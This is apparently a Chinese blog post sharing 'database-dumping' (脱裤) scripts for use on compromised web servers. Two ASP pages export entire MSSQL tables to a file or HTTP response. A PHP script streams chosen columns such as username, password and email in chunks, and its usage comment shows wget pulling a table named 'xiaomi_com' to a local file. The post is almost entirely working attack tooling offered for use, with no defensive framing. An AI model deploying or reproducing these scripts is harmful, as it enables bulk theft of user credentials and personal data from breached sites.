A-A+

msql脱裤脚本千万级别无问题

2016年02月24日 09:58 汪洋大海 暂无评论 共516字 (阅读3,104 views次)

[【ASP】]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%Server.ScriptTimeOut=12000%>
<style type="text/css">
<!–
.STYLE1 {
color: #333333;
font-weight: bold;
}
–>
 
</style>
<div align="center"><span>mssql导库脚本工具
<script language=javascript>
</script>
</span>
<strong>
<script language=javascript></script>
</strong>
<script language=javascript>function checkform()
{
if(form1.filename.value=="")
{
alert("文件名不能为空");
history.goback(-1);
}
}
</script>
</div>
<form method=post id=form1>
<div align="center">
<blockquote>
<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;
<input type=text size=20 name=server>
<br>
数据库:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=text size=20 name=dbname>
<br>
用户名:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=text size=20 name=sqluser>
<br>
密码:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=text size=20 name=sqlpass>
<br>
表名:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=text size=20 name=tablename>
<br>
保存文件名:&nbsp;
<input type=text size=20 name=filename>
</blockquote>
</blockquote>
<input type=submit value=提交 onclick=checkform();>
</div>
</form>
<div align="center">
<%
'on error resume next        '错误提示开启
If request("filename")<>"" then
serverip=request("server")
dbname=request("dbname")
sqluser=request("sqluser")
sqlpass=request("sqlpass")
tablename=request("tablename")
SET conn= Server.CreateObject("ADODB.Connection")
conn.open "Provider=SQLOLEDB;Server=" & serverip & ";Database=" & dbname & ";UID=" & sqluser & ";PWD=" & sqlpass        '数据导出工具
sql="select * from [" & tablename & "]"        'SQL语句
set rs=conn.Execute(sql)
 
set fso=server.CreateObject("Scripting.FileSystemObject")
set file=fso.createtextfile(server.mappath(request("filename")),8,true)
 
for i=0 to rs.Fields.Count-1
file.write rs(i).name & "###"
next
file.write chr(13) + chr(10)
 
while not rs.eof
for b=0 to rs.Fields.Count-1
file.write rs(b) & "###"
next
file.write chr(13) + chr(10)
rs.movenext
wend
 
file.close
set file=nothing
set fso=nothing
conn.Close
End if
%>
</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001" %>'这里改编码方式
<%
'用法:如果把本程序放在[url]http://www.xxx.com/sql.asp[/url],可以wget [url]http://www.xxx.com/sql.asp[/url] -O x.csv 来直接拖库
        Response.Buffer = True
        Server.ScriptTimeout = 2147483647
 
        str="Driver={Sql Server};Server=192.168.1.5;Uid=mssql库名;Pwd=mssql密码;Database=库名" 这里是连接字符串
        Set Conn=Server.CreateObject("Adodb.connection")
        Conn.Open str
 
        Set Rs = Server.Createobject("Adodb.Recordset") 
 
        Sqlstr="SELECT  * FROM 库名.dbo.[表名]"  '这里是导哪个库哪个表的语句
        Rs.Open Sqlstr,Conn,3,3 
 
        If(Rs.Fields.Count > 0)Then
                For I = 0 To Rs.Fields.Count - 1
                        Response.Write Rs.Fields(i).Name & "        "
                Next
                Response.Write(vbNewLine)
 
                For I = 1 To Rs.RecordCount
 
                        If(I Mod 100 = 0)Then
                                Response.Flush
                        End If
 
                        For J = 0 To Rs.Fields.Count - 1
                                Response.Write Rs(J) & "        "
                        Next
 
                        Response.Write(vbNewLine)
 
                        Rs.MoveNext
                Next
        End If
 
        Rs.Close 
        Conn.Close
        If(Err <> 0)Then Response.Write(Err.Description)
        Set Rs = Nothing 
        Set Conn = Nothing 
%>

[【PHP】]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
//使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
//
 error_reporting(0);
 ignore_user_abort();
 set_time_limit(0);
 ob_clean();
 
 define('DB_HOST', '127.0.0.1');
 define('DB_PORT','3306');
 define('DB_NAME', 'thinkphp');
 define('DB_USER', 'root');
 define('DB_PASS', 'wanan');
 define('DB_CHAR', 'utf8');
 
 $type=class_exists('PDO')?'PDO':'MYSQL';
 $table=$_GET['t']?$_GET['t']:die('表名必须!');   //表名   必须 t      
 $limit_start=$_GET['s']?intval($_GET['s']):0;   //开始条数  可选 s 默认为0
 $limit_end=$_GET['e']?intval($_GET['e']):0;     //结束条数  可选 e 默认为所有
 $limit_length=$_GET['l']?intval($_GET['l']):5000;      //分段条数  可选 l 默认为5000 
 $filed=$_GET['f']?$_GET['f']:'*'; //字段名  可选 f 用,分割没有则为全部字段 
 
 if($type=='PDO'){
  $dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME;
  $options = array(
   PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR,
  ); 
  try{
     $dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
  }catch (PDOException $e) {
   die('PDO ERROR!');
  }
  $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
  $do=$dbh->query($sql);
  if($do){
   $count=$do->fetch();
  }else{
   die('PDO COUNT ERROR');
  }
  $limit_end=($limit_end)?$limit_end:$count[0];
  $limit_end=$limit_end-$limit_start;
  $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
  $section=ceil($limit_end/$limit_length);
  if (ob_get_level() == 0){
    ob_start();     
  }else{
    die('PDO ERROR');
  }
  for($i=0;$i<$section;$i++){
   $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
   $s=$dbh->query($sql);
   $arr=$s->fetchALL(PDO::FETCH_ASSOC);
   foreach ($arr as $value) {
    echo(implode(' ', $value)."\n");
   }
   ob_end_flush();
  }
 
 }else{
  $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS);
  if($link){
   mysql_select_db(DB_NAME,$link);
   mysql_query('SET NAMES '.DB_CHAR);
   $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
   $count=mysql_fetch_array(mysql_query($sql));
   $limit_end=($limit_end)?$limit_end:$count[0];
   $limit_end=$limit_end-$limit_start;
   $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
   $section=ceil($limit_end/$limit_length);
   if (ob_get_level() == 0){
    ob_start();     
   }else{
    die('MYSQL ERROR');
   }
   for($i=0;$i<$section;$i++){
    $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
    $a=mysql_query($sql);
    if($b=mysql_fetch_row($a)){
     do{
      echo(implode(' ', $b)."\n");
     }while($b=mysql_fetch_row($a));
    }
    ob_end_flush();
   }
  }else{
   die('MYSQL ERROR!');
  }
 
 }
?>

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言